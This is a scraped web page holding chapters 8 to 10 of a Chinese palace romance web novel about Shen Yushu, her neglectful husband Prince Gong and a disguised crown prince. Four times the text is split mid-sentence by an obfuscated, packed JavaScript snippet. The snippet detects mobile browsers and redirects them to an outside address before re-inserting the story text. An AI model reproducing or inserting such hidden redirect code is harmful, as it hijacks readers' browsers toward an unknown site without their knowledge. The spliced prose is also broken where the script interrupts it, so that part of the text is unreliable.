;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828255|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是新装的书肆里,刷了漆的木头味道。 沈玉姝有些喜欢。 她搁下那颗被自己玩了一路的小石子,拎起裙进了书肆。 书肆里人不多,沈玉姝撩起帷帽一角,在书架里寻着。 她想找出阁前常看的那个文人的书,可是转了三圈也没寻着。 沈玉姝有些烦闷,觉得怎么连书也和自己作对。 一般书肆分明很好找的才是。 “姑娘,在找这本吗?” 一道温润的声音传进沈玉姝耳朵里。 她抬眼望去,顺着帷帽的缝隙,便先是瞧见一双偏狭长而上挑的眸子,笑盈盈的,整个人都像一块精雕细琢的玉。 沈玉姝觉得这么个人合该配一块生温的玉才是。 她视线往下落去,正是见到男子腰间环佩的白玉,挂着半长的流苏。 沈玉姝喜欢和这样的人说话。 她顺着他手中拿着的书上看去,意外的发现这人虎口处竟有一颗小小的浅痣 ——和大婚那日帮她说话的人一样。 沈玉姝知晓两人不可能是一个人,但她就是心里有些雀跃。 觉得有缘。 尚珏微微勾起唇:“姑娘?” “嗯?”沈玉姝猛然回神。 她下意识将视线从男人虎口上移到他手中的书上: 《潭石记》。 正是她要找的书。 沈玉姝帷幕下的眼睛亮晶晶的,一瞬不眨的瞧着尚珏:“你怎么知道我在找这本书的!” 尚珏轻笑一声:“这本书位置偏,我看你到处都找了,就那个角落没注意到,随便猜的。” 角落的下官默默抹泪。 把一本书藏在又显眼又不显眼的地方真的好难。 他和兄弟伙转了十圈才找到。 沈玉姝从尚珏手中接过书页,视线不自觉又落在他的虎口上。 她声音甜甜的:“谢谢你呀,你是这家书肆的东家嘛?” 即便隔着碍事的帷幕,尚珏都能想象到她的欣喜的表情。 与那夜娇娇的模样一模一样。 尚珏捻了捻手指,莞尔一笑回答起她的问题:“啊、是啊……我是这家书肆的东家。” “那你真厉害呀!”沈玉姝真心实意的说,“我真喜欢这家书肆的模样!” 尚珏轻笑一声:“客人喜欢就好。” 他说完,便极有君子风度的退后一步,给两人中间留出合适的距离。 他极有礼貌的微微欠身,温声道:“我就不打扰小姐看书了,您自便。” 他说完便转身往柜台走去了。 他的背影挺直,就像文人拈酸诗句里皇竹般的君子。 沈玉姝咬着唇,觉得这人更好了。 细致还有礼,真是个顶好的人! 她捧着手里的书,寻了个偏僻的角落坐下,脚尖一点一点的。 今日难得的空闲,远离了恭王府那个闷臭的笼子、遇见了一个好人,这些都让沈玉姝心情很好。 连尚琢今日那些讨嫌的事,她都暂时抛之脑后了。 她看了几页,舌尖抵着虎牙玩。 她往常看书,都是会吃小甜点的。 沈玉姝苦恼的将书页翻去一页。 忽然,一只修长干练的手伸到她面前,上头嵌着一颗小痣。 五颗被油纸包着的糖果,顺着他张开的五指落在桌案上。 沈玉姝顺着他的手臂看上去,对上尚珏挂着一点笑意的脸庞。 他嘴角噙着一点点笑:“牛乳糖,来看书的都有的。” 沈玉姝惊喜的接过糖,发自肺腑的雀跃道:“谢谢呀,你真是个大好人!” 尚珏像是听到了什么好笑的事,玩味地勾起唇,声音淡淡:“也许吧。” 8. 第 8 章 尚琢从沈府离开之后便直接回了王府。 他坐在马车里,靠着车厢阖眼养神,手上有节奏地把玩着拇指的扳指。 他面色不虞的忆起沈玉姝适才在上车前抓着自己衣袍说的那番话,心情更差了几分。 今日之事,沈氏的确受了些委屈。 尚琢转扳指的动作更快了几分。 但他既已答应了纯儿,便不会先食言。 马车嘎吱停下,外头苏进尖细的声音传来:“王爷,到了。” 尚琢淡淡应了声,停下了转动扳指的动作。 罢了,多补偿她一些便是。尚琢如是想着下了马车。 他记得,沈父在寻卖盐的路子。 江南盐官是他的人,便让沈父搭了,当作此次补偿吧。 尚琢面色淡然,下了决定。 苏进跟在尚琢后面,不知道尚琢在想什么,便试探的问:“王爷,去书房还是……?” “竹园。”尚琢淡道,“寻人去备一艘船到漳湖,然后近来蜀中新进的料子送一部分进主院给王妃。” 苏进“欸”了声,又问:“剩下的呢?” “给竹园。” 苏进道:“是。” 他应完,便命人安排去了。 尚琢走到竹园,远远就看见在院里等着的女人。 何之纯穿着他前些日子夸过的藕粉色褂子,衬得她身段窈窕又出尘。 尚琢面上带了点笑,走进了几步,轻轻搭上何之纯的手臂,惹得女人像兔子一般缩了缩,又在瞧见他的一瞬放松了下来。 “王爷怎么回来的这么快?”何之纯将脸侧碎发拢到耳后,轻轻笑起来,“我还以为王爷要午后才回来呢。” “既答应了你,便会早回来。”尚琢命人寻了斗篷来,亲自细致给何之纯披上,“你身子弱,穿太少容易受冻。” 何之纯弯着一双漂亮的桃花眼,声线温柔的说着:“谢谢王爷。” 她瞧着天色,又歪着脑袋问:“王爷可用膳了?” “未曾。”尚琢道。 何之纯展颜笑开:“我也没有,你一直就不吃外头的东西,我就猜你今日也没用膳。” 说着,她隔着衣袖的间隔,轻柔拢上尚琢的手腕:“特地给你温着菜呢,走吧,一起吃一些。” 尚琢眸中软下,便由着何之纯将他往屋里头带。 尚琢瞧着她被风卷起来的袍子,原本对沈玉姝的一些愧疚便无声散了。 何之纯心思纯良,不比沈氏城府,他自然要多偏着些。 且他已经做好了补偿,沈氏若是明理,便该知晓着度了。 何况沈家算计他,将沈玉姝嫁与他做王妃,图的不就是个富贵。 如今他这般补偿,也不算委屈了沈家。 尚琢如是想着,随着何之纯在小桌上坐下,尽数都是他喜欢吃的菜色。 何之纯替他布了菜,眸光轻柔柔的瞧着他:“感觉王爷这几日瘦了不少。” “也许吧。”尚琢执起筷子,“我命人在漳湖备了船,下人说晚些会起雾,景色更好些,吃完我带你去玩。” 何之纯抿着唇轻笑:“多谢王爷了,不过……”她面色又漫上些愁绪,“我担心王妃生气……”她纠结的说着。 “你高兴便好。”尚琢夹了一块鸡肉到她碗里,“先吃饭。” 何之纯看着碗中的鸡肉,面色僵了僵,她提着唇角勉强挤出一个笑意,应了声,慢吞吞夹起来送进口中。 她忽然提到沈玉姝,尚琢倒是想起来了,他二人一同同沈府离开,如今怎得不见沈玉姝人? 他皱着眉,唤来了苏进。 苏进小跑过来:“王爷。” “沈玉姝呢?”尚琢指尖在桌上有节奏的敲着,拧着眉问。 闻言,何之纯吃饭的动作忽然僵了一瞬,旋即像是什么也没发生一般,继续慢条斯理地吃着饭。 苏进道:“丫鬟们说去乌南街了。” 乌南街? 尚琢不虞的放下了筷子。 “为何不与本王说一声。”尚琢冷声道。 与夫君同行,却一声不吭离开,简直没把他放在眼里。 苏进抹了把额头的汗。 这让他如何回答,他哪里知道王妃是如何想的。 他支支吾吾的,生怕被尚琢迁怒进去:“大概、是怕……嗯……” “王爷。”何之纯淡淡一笑,“女子总是要偶尔出去逛逛街的,王妃莫约只是忘了与你说。” 闻言,尚琢面色冷然执起筷子,薄唇轻吐:“不知礼数。” ********** 沈玉姝在书肆一直待到日落西山,一本《潭石记》看完时,她正好吃完最后一颗牛乳糖。 她一手托着腮,一手在桌上四指来回敲打着,寻思今日过的有些快。 感觉是她这三日里过的最快的一天。 她就是故意没回恭王府,省得看到尚琢和那纯小姐,碍自己的眼。 沈玉姝几下嚼碎口里的牛乳糖,有些粘性的糖随之化在舌尖。 她一日未用膳,到现在竟也不觉得饿。 不过这糖可真好吃。 此时书肆里已经没有人了,只剩她和那个书肆的东家。 沈玉姝把玩着糖纸,透过帷帽的缝隙里瞧着尚珏,稍稍扬起一点声音道:“东家,你店里的糖可真好吃。” 她在恭王府三日,只觉得糕点也难吃、饭也难吃,人都憔悴了。 尚珏原捧着一本书看,闻言便放下书,温声笑着往她这里看来:“你喜欢就好。” “我还想吃。”沈玉姝稍稍前倾了身子,“你这的糖,卖嘛,我买一点可以嘛?” 她话音落下,透过帷幕的缝隙,沈玉姝看见男人露出一个有些无奈的笑,从小竹篮里拿了什么东西来,走到她的面前。 沈玉姝没反应过来,下意识的伸了手。 “拿好了。” ——一颗糖落在她的手心。 “可惜了,不卖。”尚珏含着一点笑意,眼里淬着细碎的光瞧着她,“今日最后一颗,拿好。” “啊——”沈玉姝拉着声调道。 “下次若想吃,随时来我店里便是。”尚珏温声说着,信口诌道,“家父做的,他不肯卖。” “喔。”沈玉姝煞有介事的点点头,帷幕随着她的动作轻晃了晃。 沈玉姝将牛乳糖收进袖袋中,扬起脸笑着说:“谢谢你呀,东家。” 她觉得这个东家可太好了。 尚琢看不见沈玉姝帷幕下的脸,却也能从声音里想象出来她此刻的笑意。 他敛下眼轻笑一声。 “不用。”尚珏极有分寸的往一旁错开一步,留出一个供人行走的宽,“天色暗了,夜里不安全,姑娘早些回去的好。” “嗯!正要走呢。”沈玉姝拿起《潭石记》放在尚珏手上,“我也不知道它放在哪的,只能给你啦,今天谢谢你呀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828256|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着她的动作,帷帽坠下有些冰凉的帷幕,从尚珏手背上轻柔地扫过。 尚珏指尖一蜷。 他轻笑一声,伸出修长的五指摊开。 沈玉姝:“嗯?” “三个铜板。”尚珏笑盈盈道,“看书钱。” 喔。 沈玉姝耳根一红,连忙掏出铜板送到尚珏手上,冲他挥挥手,匆匆跑了。 真丢人,居然忘了付账。 沈玉姝一走,书肆里便静了下来。 尚珏饶有兴致地动着指节,让三个铜板在指间来回滚动把玩。 “殿下。”下官从角落处行出来,面色尴尬。 杭州一案,朝中都闹翻天了,殿下居然在家书肆当一下午掌柜玩! 下官觉得殿下的心思越来越难猜了。 尚珏颔首:“派两个人护送她回府。” 下官:“是。” 他指尖停下,三个铜板落进掌心,掺着温热被他收进袖袋中。 他面上笑意寸寸淡去,声音淡淡:“回宫。” 沈玉姝戴着帷帽跑回马车,视线被挡了个干净。 她一进车里,便掀下了帷帽。 一下午,这个白纱可难受坏了,看书都不清楚,总要去撩它。 “小姐你可回来了!”秋兰急呼一声,说着接过她摘下来的帷帽,匆匆吩咐了车夫回府,一边收起帷帽,一边道,“您给奴婢急坏了!一下午都没见人影,找也没找着!” 沈玉姝对她比了个“嘘”的手势,然后从袖袋里准备去寻那颗剩下的牛乳糖来,将一碰到,动作又是一顿。 还是算了,下次来也不知道什么时候了,可得好久吃不着。沈玉姝咬着唇心想。 一息后 沈玉姝面色凛然拨开糖纸,心虚的将糖扔进口中。 吃完下次再去就是,万一放坏了怎么办。 马车缓缓在恭王府门外停下。 沈玉姝搭着手,踩着马凳走下马车。 将一落足,便听凑在对面的大姨一顿笑:“你可别是诓我们的吧,天底下哪有男人,在娘子回门的那天,去陪外头女人的?” “啧,这还能有假?”另一个大姨一拍手,微胖的手指一把指向恭王府的门,“我侄女可是在府里头当差的,我的消息,那可是这个!”她比了个大拇指,仰着脸哼了声。 “哎哟哎哟,那可不得了。”旁边人说,“那这恭王妃可真是无能,连夫君的心都留不住。” “人家两情相悦,恭王妃占了人家的位置,也不怪恭王不喜欢她!善妒!娶回来可真是倒了霉哦。” …… 沈玉姝眯着眼瞧向那堆大姨,说不清是个什么情绪。 口中牛乳糖残存的甜味,忽然就散了。 秋兰恶狠狠的跺了跺脚:“她们懂什么啊!就知道胡言乱语!” 沈玉姝一时没吭声。 她早猜到京中流言四起,可是……猜到和听到是不一样的。 她自小就要面子,衣服要时新的、琴棋书画也是拔尖的,何曾被人这般贬低过。 如今一朝成婚,她多年的体面全然没了,被人尽数拉出来谈论,她心中陡然升起一个念头,却又转而被压下。 沈玉姝眼睛泛上点红意,鼻尖也发酸,她咬牙咽下那股子哽意: “着人去找尚琢,不管他在干嘛,让他立刻来主院。” 她自问从未有哪里对不起尚琢,天底下也没有个自己合该受他气的道理! 9. 第 9 章[修] 弟妹亲启 天已经完全暗了,主院里安静掌了灯。 沈玉姝坐在罗汉床上,额角一抽一抽的疼。 她有那么一瞬间,想过和离。 她不是不能接受夫君有外室,大不了婚后过半年抬进来给个名分便是。 可是尚琢做的桩桩件件,却丝毫不顾及她这个王妃的面子。 京城议论至今,迟早皇上和皇后也会知晓,届时她怎么与他们交代? 恭王后宅不宁,群臣上奏,谏她不知礼数是轻,更重是谏她父亲家中风气有损。 如今皇帝以孝治天下,任用不少家风公正之流,若是在她这出了差错,皇帝会如何待她父亲? 沈玉姝心思纷乱的想着。 况且……她与尚琢未曾圆房。 沈玉姝不觉便想起大婚那夜的情景,手中又是一紧。 恭王若无所出,亦或者子嗣由外室所出,届时皇后的压力便全然压在她身上。 沈玉姝自问她担不起这个后果。 她不是一个捂着耳朵囫囵活着的人,她必须将要将这事处理二三。 屋门忽然被人敲响,唤回了沈玉姝的思绪。 她呷了口热茶润润嗓子,才开口道:“进。” 玉兰穿着石竹色袄子,走上来将一本小册子放在沈玉姝手边:“小姐,太子殿下的回京礼各家都送去了。” 沈玉姝一手撑着有些晕乎的脑袋,翁声道:“知道了,我晚些挑。” 玉兰应了声,便打了千儿出去了。 她步子在门口停下,脆生生道:“奴婢给王爷请安。” 沈玉姝拿起册子的动作一顿,面色沉下。 尚琢视线未落,淡淡应了声,迈入屋内,越过圆罩与沈玉姝站坐而视。 “何事。”他淡声道。 他面色如常,好像今日发生的所有事都与他无关一般。 “王爷来的真快。”沈玉姝皮笑肉不笑地扯起唇。 距离她派人去叫尚琢,已经过去了半个时辰。 “有些忙。” “忙着游湖?”沈玉姝沉着脸,丝毫不落下风地对上他的眼睛。 尚琢眉头狠狠一皱:“沈玉姝!” “不高兴?”沈玉姝舌尖抵着虎牙,好整以暇地看着他,“臣妾就问您一句,今日您陪那位纯小姐游湖时,可有想过今日是臣妾的回门之日。” “你如果是因为这件事生气,本王会给你补偿。”尚琢声音淡然,好像只在说一件与自己无关的事。 “……补偿?”沈玉姝喃喃念出这两个字,陡然有些气笑,“您以为臣妾是来找您要补偿的?” 沈玉姝忿而起身走进了几步,一双鹿眼又黑又透。 尚琢几乎能看见自己的倒影。 沈玉姝咬着牙,眼圈泛红:“京中什么东西臣妾没见过,需要贪图您的补偿?” 她从最开始嫁入恭王府,就只想要一份尊重,想二人相敬如宾,可时至今日,她只见到了一片狼藉的婚姻。 二人默然对视。 “本王知道了。”尚琢看着沈玉姝的眼睛,良久沉声道。 外头房门被轻轻敲响,探进来一个脑袋。 “你们别吵架了。”女人声音轻轻柔柔的。 沈玉姝微微蹙了眉,顺着声音看过去,她忽然发觉这张脸有些眼熟:“何之纯?” 她确实见过何之纯,某场宫宴的时候,听旁边人说是何侍郎家中的庶女,母亲出身上不得台面,自己攀上了哪个王爷,一朝成了凤凰。 她当时不以为意,没想到她居然就是纯小姐。 尚琢皱眉:“你怎么来了?” 他下意识伸手揽住何之纯的肩膀。 “我怕你和王妃吵架。”何之纯露出内疚的表情,小步走到沈玉姝身边:“是我缠着王爷陪我游湖的,我与王爷也并不是王妃您想的那种关系。” 不是那种关系? 沈玉姝有些好笑。 她以前只听闻何家二小姐手段高明,不想是如此本事,桩桩件件摆上来了,还能空口白牙说自己委屈。 “那你们是什么。”沈玉姝扯起唇,露出一个小小的梨涡。 “朋友?” 何之纯眼圈泛着红,弱弱点着头:“我们真的只是很好的朋友而已,王爷心善,才对我比较好。”她拉着沈玉姝的袖口,“王妃您不要与王爷生气。” 她说完又小心翼翼抬起眼:“我们相识多年,若真是有什么,如何会轮到今日被王妃您看见?” 这话里的意思就是在指摘她心气窄、不容人。 沈玉姝冷笑一声,作壁上观瞧着她的惺惺作态。 尚琢揽住何之纯的肩膀,低声哄了几句,唤来侍女带她回了竹园,才复而与沈玉姝道:“本王知道你的意思了,明日本王会给你一个满意的答复。” “那您最好让臣妾满意。”沈玉姝冷眼看着尚琢离开的背影。 她是当真不在意何之纯的存在,从前尚在闺中时候不在意,如今出嫁见到了更不在意。 她只在意,尚琢这个补偿,到底能不能让她满意。 沈玉姝收回了心思,惫懒躺回罗汉床上,斜斜倚着,翻出玉兰送来的那本册子,一页页细致挑着。 听闻太子殿下为人端方雅正、温和有理,想来送文房类的应该错不了? 她的指尖落在青石雕鱼纹砚上,想起那日在凤仪宫中匆匆一瞥的人,觉得再适合不过了。 沈玉姝心下有些可惜。 若是玉雕的便好了。 她合上册子,唤道:“玉兰。” 玉兰推门而入:“小姐。” “青石雕鱼纹砚,明日派人送东宫去。”沈玉姝恹恹按着额角,懒懒把册子递给她,“烧些热水来,我要沐浴。” 玉兰:“是。” ********** 沈玉姝昨儿个累了一日,翌日直到将近巳时才醒。 沈玉姝躺在床上望着床顶的棋盘格,缓慢地转着将醒的脑袋。 恭王府也不是全无好处,起码不用早起。 以前在家中,还要定点去给怀夫人晨昏定省。 “小姐您醒了?”秋兰瞧见她的动静,连忙拿了个什么东西过来。 沈玉姝起身靠在床栏上,接过秋兰递来的薄薄的信纸,奇问道:“这是什么?” “老爷派人送来的信。”秋兰道,“小姐您看着,奴婢去给您端洗漱的来。” 沈玉姝应了声,手上拆开了烤着漆的信封。 “姲姲亲启 我昨日瞧恭王模样,原担心你受委屈,今日再瞧,却发觉非是如此。” 沈玉姝蹙眉,继而往下看去。 说是尚琢给沈父搭了江南盐官的路子,以官价的五成转给了沈父,这中一倒卖,便是万两白银。 二则说家中一事无成的表弟,殿下出手送进了御林军,聊了叔婶一桩心头大患。 这就是尚琢昨日说的补偿?沈玉姝微微挑起眉。 虽与她原本想的大相径庭,但……也算得对等置换了。 沈玉姝敛下眼,看上第二页去。 “近日平亲王寿辰,宁亲王与王妃正回京,想来不日便到。” 沈父得字迹刚劲有力,沈玉姝面上生出一线喜意来。 宁亲王便是大皇子,早年摔断了腿,便早早赐了封地离了京,而宁王妃,便是她先前给做花童的慧姐姐。 温慧是沈玉姝母家表姐,较她大上五岁,沈玉姝自小便喜跟在她身后。 只可惜温慧婚后便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828257|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与宁亲王去了封地,数年未见,如今温慧回京,她心里怎能不喜? 沈玉姝心情颇好地起身,由着玉兰伺候穿衣。 心说来了恭王府三日,总算有一日晨起有个好消息了。 她忽然想起什么来,便问道:“东宫的礼可送去了?” “一个时辰前,刘公公便派人送去了。”玉兰道。 沈玉姝放心的“喔”了声。 ********** 东宫书房 尚珏轻轻揉着额角,听着刘侍郎丝毫无甚止意的论头。 “殿下。”门外传来轻声。 尚珏意兴阑珊地掀起眼,懒懒打断了刘侍郎的话头:“什么事。” “恭王府的人来送礼了。”下官道。 尚珏花了一瞬才反应过来是什么礼。 他兴致缺缺地摁了摁眉心:“扔库房。” 下官答应一声,正转身走,忽听太子殿下唤住了他,“等等。” 他转身,对上太子殿下似笑非笑的眼睛:“将人带过来。” 下官:“……” “是。” 刘侍郎见状也审时度势地跟着下官离开了。 半晌,一个手捧紫木盒的小厮跟在下官身后走进来,放下木盒端身行礼:“小的见过太子殿下。” “起来吧,”尚珏唇角微微勾着,“听闻是三弟挑的礼,劳三弟费心了。” 闻言,小厮捧起木盒摇摇头:“不是殿下,是我家王妃挑的。” “这样吗?”尚珏轻笑一声,“有劳王妃了。” 他话音落下,下官从小厮手中接过紫木盒,拿到尚珏前头打开。 是一方鱼纹砚。 尚珏玩味地笑起,颔首示意下官给小厮塞了银子。 “劳你跑一趟。”尚珏淡笑说着,从笔山上抽出一支湖笔,提笔写下几字。 最后一字落下,他将信细细叠好,起身走到小厮面前,噙着一抹笑:“辛苦将这封信给你们王妃,聊表孤的一番谢意。” 小厮倏然一愣,随即应下。 小厮的信送到主院时,沈玉姝正在用膳,有一搭没一搭与秋兰她们说着。 “慧姐姐若是回来的话,我们是不是又可以一起睡了?”沈玉姝叼着一个水晶包思忖说。 “不可以。”玉兰生硬驳回,“不合礼数。” 沈玉姝:“……” “可是我们以前也是……” “宁王殿下想来也不会答应的。”玉兰轻飘飘说着。 沈玉姝瘪嘴,苦哈哈撑着下巴。 万一可以呢。 沈玉姝思绪一转,慧姐姐回来的正好,近值平亲王寿宴,她往常只随父亲或怀夫人参加过,无需她备礼应酬,如今自个准备起来,总担心处理不好。 如今随着慧姐姐同做,想来能学不少东西。 “小的给王妃请安。”沈玉姝正思绪间,前头传来声音。 沈玉姝顺着声音抬起头,不觉正了适才斜歪的坐姿:“何事?” “小的来给太子殿下送信。”小厮说着,走进几步将信交给秋兰。 沈玉姝边从秋兰手中接过信,边奇怪道:“太子?为何给我?” 小厮道:“小的早晨去给殿下送回京礼,殿下听说是王妃挑的,便写的回信。” 沈玉姝拆着手中信,心说太子殿下当真是端方君子,居然会感谢她来写回信。 她展开手中信,只见开头用力道遒劲的瘦金体写下四字 ——“弟妹亲启” 那日在凤仪宫中被她遗忘的记忆,忽然就冒了出来。 沈玉姝脸骤然就红了。 她听见模糊记忆中的那人缠着她的颈、哑声哄着与她说:“听话,最后一次。” 10. 第 10 章 沈玉姝指尖一颤,薄薄的信纸随之飘然落在地上。 本该是发热胡思乱想的东西才是……怎么会突然想起新的来? 沈玉姝抖着指尖,一把捂住了眼睛,冒出一阵细细的呜声。 真是要命了,这种东西为何次次都与太子殿下那般光风霁月的人联系在一起…… 好冒犯。 秋兰坐在旁边,眼睁睁看着自家小姐耳根以肉眼可见的速度一点点变红。 “小姐……您发热还没好吗?”她迟疑地站起身,“奴婢这就去找府医。” 闻言,沈玉姝抽出一只手的空挡猛地抓住她的手:“坐好。” 秋兰:“…………是。” 沈玉姝弯身去捡那封信件,却意外瞧见一根落在折痕上的水蓝色流苏络子。 这络子是三股线,缠着金线拧的,做工细致,想来该是太子身上落下的。 沈玉姝顺手一起捡起来,一目十行看了信件后,将这根流苏又重新夹进折痕里,细细叠好。 信件里头只问她嫁予恭王过的可算好,皇家生活可还适应之类,皆是一些兄长的慰问。 她轻轻舒了口气,抬头对小厮道:“辛苦你了。” 然后示意秋兰上去塞了银子。 她思忖再三还是道:“这事……” 小厮一听她起了头,便笑道:“小的知晓,小的哪有胆说殿下的事啊。” 沈玉姝失笑,挥挥手让他出去了。 毕竟殿下是好心关切,但传到外头去,总归是不好的。 沈玉姝拿着那封信,咬着唇苦恼寻着存放的地方,也不知怎的,心念一动抽出了妆匣,连带着那根流苏络子一并细细存了进去。 ********* 宁王和宁王妃到京城的时候是清晨,沈玉姝迷迷糊糊清醒了些,听见外面的窃窃私语,顿时便醒了。 连忙起身唤了秋兰进来,洗漱更衣毕便往宁王府跑。 玉兰在后头捧着早膳点心:“小姐!您还没用早膳!” “明天吃!”沈玉姝挥挥手,骑着马车往宁王府去了。 宁王府里里外外要收拾的多,也没人注意到沈玉姝,她便独自捧着带来的檀木盒礼物跑到后院,扒着正房门帘悄声道:“慧姐姐!” 温慧正在收拾摆件,一听她声音,便惊喜回过身来:“姲姲?你怎么来这么早。” 她边说边放下手里东西,接过下人递过来地汗巾擦净手,小步走来牵起沈玉姝:“我离开京城前,你一觉还得睡过晌午,今日还当你得过了午时才来呢。” 姲姲是她的小字,娘亲去世后,叫的人就少了。 沈玉姝耸着肩吐吐舌头,随着温慧一并在罗汉床上坐下:“哪能睡那么久!而且姐姐回京,我当然要快点来呀。”她倾身俯去,凑近抬头巧笑着瞧温慧:“慧姐姐,我是不是来的最早的!” 温慧失笑:“是是是,用过早膳了?” 沈玉姝摇头:“没有,等着和慧姐姐一块吃呢。” 温慧好笑,唤人送了早膳来,二人便在桌边坐下。 屋中下人也尽数散了,房中便只剩她二人。 温慧夹了一个水晶包放到沈玉姝碗里:“是陈叔做的,尝尝看,可还喜欢?” 陈叔是旧时温家的厨子,沈玉姝最喜欢他做的糕点。 一听这话,眼睛便是一亮,连忙夹起来咬了一口,嘴角不自觉翘起来。 “好吃!”沈玉姝将剩下半个塞进嘴里。 陈叔手艺一点都没变。 温慧笑着又给她夹了两个:“你婚成的匆忙,我直到进了北直隶才知晓你的婚事,快马加鞭还是慢了几日。” 她边说着,边从旁拿出一个盒子:“新婚礼物,瞧瞧喜不喜欢?” 沈玉姝嘴里塞着包子,闻言抬起眼含糊说着:“肿莫冷礼来轰哇(怎么能你来送呀)!” 她嘴上这么说着,手上却大大方方地收下礼物,笑盈盈打开,是一条正阳绿的手镯。 沈玉姝眼睛噌亮瞧着温慧,若是她身后有条尾巴,定是已经翘着甩起来了。 温慧抿着唇矜持地笑:“快戴上让我瞧瞧。” “等等等等!”沈玉姝咽下口中包子,抱起自己的檀木盒子,一股脑放在温慧手上,“我的礼物姐姐还没看呢,怎么能就我自己先戴上了。” 她边说着打开怀里的盒子,一只金手镯和一块小金锁。 沈玉姝拉过温慧的手,笑盈盈给她戴上镯子:“慧姐姐一个,小宝宝一个。”她指指小金锁。 “你怎么知道……”温慧讶异地抚上肚子。 沈玉姝给自己戴上镯子,捧着脸偷笑,只露出一对灵动的眼睛:“因为我聪明呀。” 温慧屈指敲敲她的脑袋。 沈玉姝“嗷”地一声捂着额头:“因为舅舅告诉我了。” “扑哧” 温慧笑出声:“古灵精怪。” 她说完正色地拉过沈玉姝的手:“不闹了,姐姐与你说正事。” 闻言,沈玉姝一张姝丽的脸便垮了下去。 她一听就知道慧姐姐要说什么事,婚后啊、夫君啊。 沈玉姝脸更垮了,她一点都不想昧着心说过得好。 温慧缓缓开口了:“阿琰与我说了,恭王殿下和何家二小姐的事。” 阿琰就是宁亲王尚琰。 沈玉姝面色一僵。 不成想温慧居然全然知晓了。 沈玉姝又是一蔫,这下骗都骗不过。 “你与我说,那何之纯现在在哪?”温慧严肃着一张脸,直直瞧着沈玉姝。 沈玉姝嗫嚅:“竹园。” “嗯?” “……恭王府。”沈玉姝苦着脸。 “岂有此理!”温慧气得发抖,“身为皇子,婚前豢养外室于府内、与未出阁女子不清不楚,如何成国家表率!” “还有那何之纯,未出阁的女子和男子不清不楚,成何体统!”温慧白皙的手啪地拍上桌沿。 她性子温柔,这般模样当真是气得不轻。 沈玉姝也觉得是这样。 便恹恹点了头。 温慧瞧着沈玉姝的模样,她眼圈便是一红,“别怕,我去让皇后娘娘做主。” 沈玉姝却是摇摇头:“我觉得皇后娘娘知道。” 宫中之事尽过皇后之眼,何之纯既与尚琢早于宫中便相识,没道理皇后娘娘不知晓。 何况那日回宫觐见,皇后娘娘里外敲打“外面那些攀龙附凤之人”,当日未听懂,如今想来大概就是说的何之纯了。 无非是想借她让尚琢收心罢了。 沈玉姝不喜欢别人这样。 这么一说,温慧便也清楚其中关窍了,原本的气性也降了几分。 便又问:“那……尚琢他待你如何?” 毕竟情爱总是虚的,她们京中这些贵女,最好便是嫁与权贵之家,握得掌家之权才是真。 至于情爱,今日他说心悦,明儿个就能在花魁榻上唤心肝。 闻言,沈玉姝吧嗒将额头磕在桌沿上,虚弱唤道:“慧姐姐,你可真往我心上插刀子。” 她侧过脸,贴着桌上与温慧恹道:“往街上一走,五堆大姨有三堆在讨论我,说我不得心。” 温慧眼睛一红,泫然落下泪。 她姑母去得早,就留下沈玉姝这么一个孩子,如今竟然嫁予了这般人。 沈玉姝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828258|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中一跳,连声去哄:“姐姐你别哭啊,肚子里还有小宝宝呢,伤身体呀。” 良久,温慧瞧着她,紧紧握着她的手,坚定道:“姲姲,不行咱就和离,我朝开明,你言明内情,皇帝不会为难你的。” 沈玉姝指尖一颤。 她怎么未曾想过这事,从尚琢拒绝回宫、回门早离伊始,心中便萌生了和离之意。 只是和离之事牵扯众多,如今尚琢虽说一心心系外室,但该给她的管家之权却是一点没少,待她母家也不错。 至此也便暂先搁下了。 沈玉姝把下巴搁在桌上,把前些日子与尚琢争吵和父亲给她写的事尽数说了,末了幽幽叹了口气。 